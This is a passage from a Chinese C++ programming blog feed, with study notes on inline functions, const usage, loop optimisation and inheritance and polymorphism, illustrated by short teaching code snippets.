Codehighlighter1_125_147_Closed_Text.style.display='none'; Codehighlighter1_125_147_Open_Image.style.display='inline'; Codehighlighter1_125_147_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_125_147_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_125_147_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;a;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;a.f();<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p><br>f()定义内调用了g()，而此时g()还没有声明。<br>其实这种顾虑是不必要的，因为语言定义规定在类中所有内联函数的评估都要在类声明完成时进行。</p>
<p>四、何时使用内联：<br>内联肯定会提高程序的效率，尽管有时这种提高微乎其微。<br>内联不一定会带来代码膨胀，如果函数体十分短小，甚至比调用函数所生成的代码都小，那就不会代码膨胀，反而会缩小object code。<br>这给何时使用内联提供了指导。<br>inline还有另一个需要考虑的成本：<br>对于程序开发者，升级一个inline的函数比升级一个outline的函数成本更大，因为inline函数定义在头文件中，因此更新后所有使用到此函数的客户文件都需要重新编译，而对于outline函数，则只需要重新链接即可。如果是动态链接，甚至没有成本。</p>
<p>――The End<br>后记：</p>
函数的声明和定义最好都显示使用inline关键词，这样更有利于以后自己或者她人阅读你的接口。这对inline还不是十分明显，因为inline通常用一行代码就能完成，不会先声明再定义。但对于virtual就比较重要了，即使virtual可以继承，但还是显式的声明为virtual，因为&#8230;&#8230;blabla&#8230;&#8230; 
<img src ="http://www.cppblog.com/superKiki/aggbug/114188.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:11 <a href="http://www.cppblog.com/superKiki/articles/114188.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>总结下C/C++中的const</title><link>http://www.cppblog.com/superKiki/articles/114187.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:09:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114187.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114187.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114187.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114187.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114187.html</trackback:ping><description><![CDATA[一、最基本用法――定义常量<br>C++中编译器是尽量避免为const分配内存的，而是在进行类型检查之后将从定义时的初始化式（要求是常量表达式）中计算来的值折叠到代码里（即进行值替代），然后存放到符号表（symbol table）。<br>C++中const定义的时候必须进行初始化，这是因为：<br>初始化式用来区分定义和声明，而在C中，无论写<br>const int x;<br>还是<br>extern const int x;<br>编译器都将其看做是声明，所以不需要初始化。<br>而在C++中，这么写<br>const int x;<br>是不允许的，要声明必须加上extern，表明定义在别处（elsewhere）。<br>这个规定也是从const的不可赋值性得出的。只能初始化不能定义，又必须有值存在，而初始化又只能发生在定义出（初始化是从无到有，赋值是从有到有）。<br>前面提到，编译器是尽量避免为const分配内存的，那么什么情况会迫使编译器为const分配内存呢？<br>以下情况：<br>1.初始化式的值过于复杂使得编译器无法计算，这样编译器为const分配内存。<br>2.初始化表达式不是编译期常量，如const int i = cin.get();编译器无法在编译期确定常量的值，因此为其分配内存。<br>3.const数组，编译器不确定符号表足够盛放整个数组，于是一律分配内存，不在符号表里保留信息。<br>4.任何对一个const取地址的行为（包括将其传给一个形参为引用的函数这样的不自觉取地址行为）会导致内存分配，但是编译器仍然是知道其值的，符号表里仍然有其信息，编译器仍将它看做编译期常量。这和上面三种情况不同。<br>1-3情况，编译器在编译期无法得到const的值，也就不能作为常量来使用它，比如不能用其作为定义数组时的大小。
<p>二、const与指针搭配使用<br>两种使用方式：使指针所指之物为const；使指针所存地址为const。<br>Pointer to const<br>如果想让指针所指之物为常量，而指针所含地址可以更改，在定义时将const写在*的左面。然而，这只是说不能通过指针更改其所指之物，此被指之物本身不必是const，也就是不通过指针还是可以更改的。又由于指针本身并不是const，所以定义指针时不必初始化。两种定义格式完全相等，如下：<br>const int* pi;<br>int const* pi;<br>const pointer<br>如果想让指针为const，即指针不能再指向其它之物，而指针所指之物可以被更改，当然也可以通过指针被更改，那么应将const写在*右面，由于指针是const的，所以定义时必须初始化，如下：<br>int d = 1;<br>int* const pi = &amp;d;<br>也可以让指针同时具有两种属性，还是两种等价的定义格式：<br>int d = 1;<br>const int* const p1 = &amp;d;<br>int const* const p2 = &amp;d;<br>这样，指针和所指之物就都是const的了。仍然不需要所指之物本身是const的。<br>可以用non-const之物的地址给指向const之物的指针赋值，不可以把const之物的地址赋给指向non-const之物的指针，除非使用强制转换，那就破坏了const带来的常量性。<br>关于指向字符串字面值的指针<br>虽然指向字符串字面值的指针不必是pointer to const，但是字符串字面值是编译器创建的且不容许更改的，因此若通过non-const指针更改其内容，虽无任何编译链接错误，却会导致运行期错误。如下：<br>char* p = &#8220;string&#8221;;?//可以通过编译，但技术上是错误的<br>*p = &#8216;a&#8217;;??//可以通过编译，但会引起运行期错误，实际上是未定义行为，有些机器上也会可以工作<br>编译器之所以允许non-const指针用字符串字面值初始化，是向大多数依赖于此的C代码的妥协。<br>要相对字符串字面值作出更改，请使用数组：<br>char p[] = &#8220;string&#8221;;</p>
<p>三、用于函数参数和返回值<br>如果以pass-by-value方式传递函数参数，那么将其声明为const对客户来说毫无意义，参数在函数内部本身就是一个临时对象，它是否改变不影响客户手里的参数原本，因此这个promise毫无意义。所以，这样做是对函数编写者的限制，而不是调用者。为了不迷惑调用者，可以把const的声明从参数列表挪到函数体内，用reference实现：<br>void f(int i)<br>{<br>?const int&amp; j = i;<br>?j++;?//Illegal — compile-time error<br>}<br>对于pass-by-value的函数返回值，存在同样的问题，当写：<br>const int f();<br>只是保证函数体内的原返回值不被改变，由于是按照pass-by-value返回的，所以这种保证毫无意义而只会让客户迷惑。<br>当处理以pass-by-value返回用户自定义类型的函数时，const才显得重要。<br>对于内置类型的pass-by-value返回的函数，编译器阻止函数调用结果作为左值，而对于用户自定义类型，编译器不做此组织行为，除非将返回值声明为const。用const修饰返回值从而阻止用户自定义类型的返回值作为左值，可以避免if(f()=a)这样的错误（本想做比较而不是赋值）。</p>
<p>如果以指针和引用作为函数参数，那么const参数比non-const参数版本的函数更具一般性：<br>即可以将non-const指针和变量传递给const参数的函数，反之则不可。<br>对于临时变量，可以将其传递给接受const引用的函数，而不能传递给接收non-const引用的函数，因为对临时变量的更改是不允许的。<br>临时变量是不能被取值用于指针传递的。</p>
<p>四、类中的使用<br>1）类中的编译期常量<br>首先，不能在类的定义里简单地使用const作为编译期常量定义数组大小了，因为const在每个对象中都会被分配内存，所以编译器在编译期间不知道它的值，这里的&#8220;const&#8221;只保证在此对象的生命期内该成员不被改变，而不能保证各个对象之间的const成员一致，也就不是编译期常量。<br>用于产生可以在类中可以使用的编译期常量，有两种方法：<br>1.使用enum：<br>enum {size = 10};<br>int buf[size];<br>枚举的所有值必须在编译期建立，且不会占用对象中的存储空间，枚举常量在编译期被全部求值。<br>2.使用static const：<br>classicA{<br>private:<br>?static const int size = 5;<br>?int buf[size];<br>};<br>由于这是类的定义，所以这仅仅是size的声明而非定义。<br>通常C++要求使用到的东西都有一份定义，但是如果是类中的专属常量，又是static且为整数类型（int,char,bool），则需特殊处理。只要不对其取地址就可以只提供声明而不需定义就能使用。<br>如果不得不定义，由于声明中已经给了初值，定义中不再需要初值，定义应放在.cpp中而非.h。</p>
<p>2）类中的const成员<br>如果一个类中有const成员，由于const变量必须在定义时被初始化，所以需要特殊处理：<br>首先const变量的定义及初始化肯定要发生在类的构造函数里，但是又不能到进入构造函数体内再进行，因为在进入构造函数体内之前，构造函数会调用类中各成员的构造函数来定义各个成员，成员真正的定义时刻发生在此时，构造函数体内发生的是赋值而非初始化。所以正确的做法是在构造函数的初始化列表里提供const成员的初值，用来指导对const变量构造函数的调用。</p>
<p>3）const对象与const成员函数<br>类和其它内置类型一样，可以声明const的对象。然而对于类这样复杂的类型，编译器如何保证其const性呢？<br>编译器的做法是只允许const对象调用被声明为const的成员函数，然后再对const成员函数的行为进行限制，从而保证对象的常量性。<br>声明一个成员函数为const的语法是在函数声明的末尾加上const：<br>int f() const;<br>定义时仍要重复此写法否则编译器不将其作为同一个函数。<br>int A::f() const{<br>?//do something&#8230;<br>}<br>构造函数和析构函数都肯定不是const的，因为它们的工作不可避免要更改对象。<br>const对象只能调用const成员函数，non-const对象则无限制。<br>如在一个const函数里，想做更改对象的事，怎么办？<br>还是有办法的：<br>1.强制转换：在函数内取this指针，这时它是const指针，将其强制转换成non-const指针，即可利用它进行有关操作，编译器不再保护此指针对应的对象的const性：<br>void Y::f() const{<br>?((Y*)this)-&gt;j++;<br>}<br>2.使用关键字mutable，讲一个成员声明为mutable，说明它在const函数中可被改变而不影响对象的常量性。而且可以让用户心中有数。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/114187.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:09 <a href="http://www.cppblog.com/superKiki/articles/114187.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>抛开算法谈C/C++中代码优化问题</title><link>http://www.cppblog.com/superKiki/articles/114186.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:06:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114186.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114186.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114186.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114186.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114186.html</trackback:ping><description><![CDATA[<p>编译器在将C代码翻译成汇编指令时会进行一些有效的优化。但是有的时候编译器会显得很激进，有的时候却又显得很保守。</p>
<p>妨碍编译器进行大胆优化的障碍有这么两个：存储器别名、函数副作用。</p>
<p>对于略显重复的指针解引用运算，编译器是很想将其合并的，但是它又害怕这样的风险――万一两个指针值相同一块内存――即&#8220;<span style="COLOR: #ff0000">存储器别名</span>&#8221;――如若这样，就会使优化后的程序产生不同的行为，违反了优化的前提。</p>
<p>对于同一个函数的重复调用，编译器也很想用依次调用的翻倍效果来替代，因为函数调用是一项开销很大的工作。但是它同样考虑到这样一种风险――如果这个函数有&#8220;<span style="COLOR: #ff0000">副作用</span>&#8221;――比如会改变某个全局变量，那么不同次数的调用又会产生行为的差异，同样违反了优化的前提。</p>
<p>以循环程序为例，程序员应做到的优化工作包括：</p>
<p><span style="COLOR: #0000ff">1.降低循环的低效率</span></p>
<p>我经常写这样的代码：</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">::iterator&nbsp;it&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;str.begin();it&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;str.end();it</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><img src="http://www.cppblog.com/Images/dot.gif"></span></div>
<p>这就是一个存在低效率的循环。由于for()的第二个测试语句每次迭代都会执行，所以str.end()每次都会被调用，而这个函数的结果在循环过程中是不变的，这就造成了很大的不必要的函数调用开销。此为一。</p>
<p><span style="COLOR: #0000ff">2.减少函数调用</span></p>
<p>如前所述，函数调用开销很大，如果循环体内有函数调用，则应考虑是否能将其转换为其它操作，不过这一条对代码行为的依赖性较大，不宜强求。</p>
<p><span style="COLOR: #0000ff">3.消除不必要的存储器引用</span></p>
<p>存储是一个金字塔型的结构，越往上速度越快，越往下速度越慢。顶端是寄存器，速度最快。如果循环内部有频繁的写内存动作，应考虑用写寄存器代替之。有些运算――如求阶乘、求数组和等――不需要时时用每次循环的中间结果更新存储器中的目的操作数，在整个求解过程结束后再更新也不迟，这就是用寄存器代替存储器的绝好条件。方法是用一个局部变量代替指针引用，在循环推出后再用局部变量更新指针引用。注意，通常说局部变量在栈上分配，但是这是有条件的，首选是寄存器分配：1.寄存器溢出即寄存器不够用的情况；2.一个要对其产生指针的局部变量必须放在栈上。</p>
<p>另外还有一些比较有意思的技术可以优化程序的性能。</p>
<p><span style="COLOR: #0000ff">4.循环展开技术（loop unrolling）</span></p>
<p>对于传统的循环控制来说，每次循环执行一次单位操作，即一次迭代的代价是一次条件判断和一次跳转。如果在每次循环内执行多次迭代，则可以降低平均到一次迭代所对应的条件判断和跳转的次数。这就是循环展开技术。如下面代码就是数组求和的二次循环展开：</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;i&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">lt;&nbsp;len;i&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)<br><img id=Codehighlighter1_34_74_Open_Image onclick="this.style.display='none'; Codehighlighter1_34_74_Open_Text.style.display='none'; Codehighlighter1_34_74_Closed_Image.style.display='inline'; Codehighlighter1_34_74_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_34_74_Closed_Image onclick="this.style.display='none'; Codehighlighter1_34_74_Closed_Text.style.display='none'; Codehighlighter1_34_74_Open_Image.style.display='inline'; Codehighlighter1_34_74_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_34_74_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_34_74_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;temp&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;a[i];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;temp&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;a[i</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span></div>
<br>
<p><span style="COLOR: #0000ff">5.利用处理器的并行处理能力</span></p>
<p>说到这就要说说处理器在执行指令时的抽象模型了。这几天看《深入理解计算机系统》这本书中关于处理器的介绍，真的体会到现代处理器真是一个带有浓厚工程学味道的杰作，里面包含了很多策略方面的东西，可谓精打细算。</p>
<p>现代处理器是并行的、乱序的、预测的和投机的。</p>
<p>所谓并行是说，处理器并不像我曾经以为的那样每个时钟周期执行一个基本操作，如此往复。处理器中有众多的处理单元，在一个时钟周期内，每个处理单元都可能进行工作，而实际上只要某个处理单元所作处理的依赖条件已经具备，那么它就可以进行该项处理，即使前面的指令还没有执行完毕，此为&#8220;并行&#8221;，并行之所以可行，还和&#8220;乱序&#8221;有关系。</p>
<p>由于处理器是并行工作的，所以每个时钟周期内处理器的正常情景是，能工作的单元一定在工作，分别在执行多条指令的不同部分。而根据程序定义，指令是有顺序的，这里的并行打乱了这种顺序，此为&#8220;乱序&#8221;。之所以可以乱，是因为超前。一条指令的执行过程往往远早于轮到该指令执行的时间，只要相应处理单元是空闲的即可。到了真该指令执行时，将早已得出的存储在处理器中某个寄存器堆上的结果直接送入目的地即可。这种处理方式在遇到可能发生跳转的地方就会遇到麻烦，现代处理器采用的解决方法是&#8220;预测&#8221;和&#8220;投机&#8221;。</p>
<p>处理器会大胆预测跳转的结果，然后继续它的提前化取指、译码、执行；如果预测错误，只得退回预测处重新执行，此为&#8220;预测错误处罚&#8221;。</p>
<p>现在考虑如何利用处理器的并行工作能力优化程序的性能。如果一次循环操作要依赖于上次循环操作的结果，那么就逼迫操作为线性而难以并行化，所以这种优化只能针对没有这种依赖性的问题上。比如将对数组求和分解成奇数项求和和偶数项求和，最后再相加，而奇数和偶数求和之间是没有依赖性的，所以可以利用上处理器的并行处理能力：</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">?&amp;</span><span style="COLOR: #000000">lt;&nbsp;len;</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">i&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)<br><img id=Codehighlighter1_36_72_Open_Image onclick="this.style.display='none'; Codehighlighter1_36_72_Open_Text.style.display='none'; Codehighlighter1_36_72_Closed_Image.style.display='inline'; Codehighlighter1_36_72_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_36_72_Closed_Image onclick="this.style.display='none'; Codehighlighter1_36_72_Closed_Text.style.display='none'; Codehighlighter1_36_72_Open_Image.style.display='inline'; Codehighlighter1_36_72_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_36_72_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_36_72_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;x0&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;a[i];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;x1&nbsp;</span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000">&nbsp;a[i</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span></div>
<img src ="http://www.cppblog.com/superKiki/aggbug/114186.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:06 <a href="http://www.cppblog.com/superKiki/articles/114186.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>再谈C++中继承和多态</title><link>http://www.cppblog.com/superKiki/articles/114184.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:05:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114184.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114184.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114184.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114184.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114184.html</trackback:ping><description><![CDATA[<p>C++的继承和多态特性十分多，十分复杂。访问级别有public\protected\private之分，继承方式有public\protected\private之分，函数属性有non-virtual\impure-virtual\pure-virtual之分，对对象的访问又有直接访问\指针\引用之分。所有的这些在继承和多态这里交叉影响，得出了很多各异的特性。可能这也是说C++难学的一个很重要的方面吧。</p>
<p>这段时间分别看了《C++Primer》《Thinking in C++》《Effective C++》三本书关于继承和多态的内容，算是有了一个大概的把握，本想总结的精炼一些，不过现在觉得有点难，暂且记录下学习笔记，待有时间和有能力时，希望自己能把这一块知识好好提炼总结一下，已达到豁然开朗的程度。</p>
<p>学习笔记内容：</p>
<p>面向对象的编程思想有三个基础：<br>1.封装性：用类实现<br>2.继承性：用继承实现<br>3.动态绑定：用虚函数实现<br>继承性的思想是用旧类创建新类，新类和旧类之间有很大的相似，实现这个思想的一个比较山寨的办法是&#8220;组合&#8221;。即将旧类的一个对象作为新类的一个成员。<br>当然比较官方的方法还是&#8220;继承&#8221;。</p>
<p>《继承》<br>通过继承我们能够定义这样的类，它们对类型之间的关系建模，共享公共的东西，仅仅特化本质上不同的东西。派生类（derived class）能够继承基类（base class）定义的成员，派生类可以无须改变而使用那些与派生类型具体特性不相关的操作，派生类可以重定义那些与派生类型相关的成员函数，将函数特化，考虑派生类型的特性。最后，除了从基类继承的成员之外，派生类还可以定义更多的成员。<br>C++中，基类用virtual关键字指明那些它希望派生类重新定义的函数，希望派生类继承的函数不能定义为virtual。除了构造函数以外，任意non-static函数都可以定义为virtual。virtual关键字只用在声明处，不用在定义处。</p>
<p>《动态绑定》<br>动态绑定允许我们编写这样的程序，对于继承层次中的任意类型的对象都可以使用，无需关系对象的具体类型，无需区分函数是在基类还是在派生类中定义的。<br>在C++中，通过基类的引用（或指针）调用虚函数时，发生动态绑定。实现动态绑定的关键是：基类的引用和指针既可以指向基类对象也可以指向派生类对象。究竟调用哪个类的虚函数，取决于运行时该引用（或指针）指向的对象的类型。</p>
<p>《如何定义基类》<br>基类的析构函数一般应定义为virtual。<br>《？》基类通常应该将派生类需要重定义的任意函数定义为虚函数，why？<br>对于public和private成员来说，派生类访问基类成员的权限和程序其它部分一样：可以访问public成员，不能访问private成员。<br>注意，甚至连派生类对象本身也不能访问基类的private成员，在这一点上，派生类和基类的普通用户没有区别。派生类的优势仅体现在protected上。对于基类希望派生类可以访问，但不希望其它代码访问的成员，应定义为protected，protected成员可以被派生类对象访问而不能被普通用户访问。</p>
<p>《protected成员》<br>派生类可以访问基类的protected对象的意思是，对于派生类对象，其从基类继承来的protected对象是可用的，而对于基类对象的protected对象，派生类仍然没有访问权。例程：<br>#include &lt;iostream&gt;<br>using namespace std;</p>
<p>class base_class<br>{<br>private:<br>?int i;<br>protected:<br>?int j;<br>};</p>
<p>class derived_class : base_class<br>{<br>public:<br>?void fun(base_class &amp;bc,derived_class &amp;dc)<br>?{<br>??cout&lt;&lt;i&lt;&lt;endl;??//error!base_class::i is private<br>??cout&lt;&lt;j&lt;&lt;endl;<br>??cout&lt;&lt;dc.j&lt;&lt;endl;<br>??cout&lt;&lt;bc.j&lt;&lt;endl;??//error!base_class::j is protected<br>?}<br>};<br>如果没有继承机制，类的用户就只有两种：类本身和类的客户，public和private两种访问限制体现了这两种用户之间的分隔。有了继承机制后，类有了第三种用户――派生类。应该将派生类实现操作所需要访问而不希望普通用户访问的成员定义为protected。<br>基类的public成员相当于派生类的public成员；基类的protected成员相当于派生类的private成员；基类的private成员对于派生类来说相当于一个与自己无关的类的private，可以使用基类提供的public接口访问它，除此别无他法。</p>
<p>《派生类》<br>定义派生类的语法为：<br>class classname: access-label base-class<br>access-label可以为public，protected，private。表示三种派生方式。有什么区别呢？</p>
<p>《派生方式》<br>从基类继承来的成员的访问级别由基类的访问标号和派生方式共同控制。派生类可以通过派生方式进一步控制但不能放松继承来的成员的访问级别。<br>对于基类的private成员，派生类无法访问，因此派生标号控制的是基类的public和protected成员的访问级别。又，对于派生类来说，从基类继承来的public成员和protected成员都是可以访问的，因此，实际控制的是这些继承来的成员作为派生类自己的成员时在派生类中的访问级别属性，即实际控制的是派生类的用户（包括派生类的子类）。<br>若是public继承，则基类成员在派生类中保持原有访问级别。public还是public，protected还是prptected。<br>若是protected继承，则基类中的public和protected都是protected。<br>若是private继承，则基类中的public和protected都是private。<br>public继承称为接口继承，派生类继承了基类的接口，因此任何使用基类对象的地方，理论上都可以用派生类对象代替。<br>protected和private继承称为实现继承，它们继承基类的接口不作为自己的接口，而是用来作为自己的实现。<br>类是使用接口继承还是实现继承对派生类的用户具有重要意义，迄今为止最常见的继承形式是public。<br>这种限制也是可以改变的，方法是在派生类的定义中在不同的访问控制标号后面使用using声明。<br>如果在继承的时候不指明派生方式，那么struct默认为public，class默认为private。<br>一种形象的说明：<br>public继承相当于昭告天下，D类是从B类派生而来，编译器是知道的。<br>protected继承是只有自己和自己的派生类知道，即只有D类和D类的派生类知道D类是从B类派生而来。<br>private继承则只有自己知道。</p>
<p>派生类继承基类的成员并且可以定义自己的附加成员。派生类对象包含两个部分：从基类继承的成员和自己定义的成员。派生类只重定义那些与基类不同或对基类进行扩展的方面。</p>
<p>《重定义成员函数》<br>实际上派生类可以重定义基类的任何成员，但是只有重定义virtual函数才能实现动态绑定。</p>
<p>《动态绑定》<br>动态绑定就是父类接口可以接受子类对象，执行哪个版本取决于父类接口（指针和引用）在运行时接受了父类对象还是派生类对象。只有virtual成员可以做到这点。<br>例程：<br>base_class bc;<br>derived_class dc;<br>base_class* pbc;<br>int i;<br>cin&gt;&gt;i;<br>if(i==0)<br>?pbc = &amp;bc;<br>else<br>?pbc = &amp;dc;<br>pbc-&gt;f();<br>如果f()是基类的虚函数，而且派生类中重定义了这个函数，那么pbc-&gt;f()执行哪个函数就取决于i的输入了。如果f()不是基类的虚函数，即使派生类中重定义了这个函数，pbc-&gt;f()也只可能执行基类的版本。这就是virtual关键字对于动态绑定的意义。因为非虚函数的调用是在编译期确定的，pbc是基类指针，只能调用基类的非虚成员函数。<br>动态绑定可以显式阻止，利用作用域说明符限定虚函数的版本，可以让虚函数的调用在编译期就确定下来。这一技术只能在成员函数的代码中使用。这一技术的一个用途是：可能派生类重定义的基类虚函数需要完成和基类虚函数一样的工作，然后再完成其它工作，这是可以的显式调用基类的虚函数来完成这些工作而避免将基类虚函数的代码拷贝过来。<br>基类的指针和引用可以指向派生类的对象，但是只能通过此指针或引用调用基类有的成员。因此，使用基类指针和引用时不能确定所引用的对象类型是基类还是派生类，编译器一致当做基类对象处理，将派生类对象作为基类对象处理是安全的，因为派生类对象含有基类对象的子对象。<br>动态绑定的实现依仗虚指针和虚函数表。</p>
<p>《派生类中虚函数的声明》<br>派生类中虚函数的声明必须与基类中的定义方式完全相同，除了一个特例：基类中的虚函数如果返回基类对象的引用和指针，派生类中的声明可以返回基类对象的引用或指针，也可以返回派生类对象的引用和指针。</p>
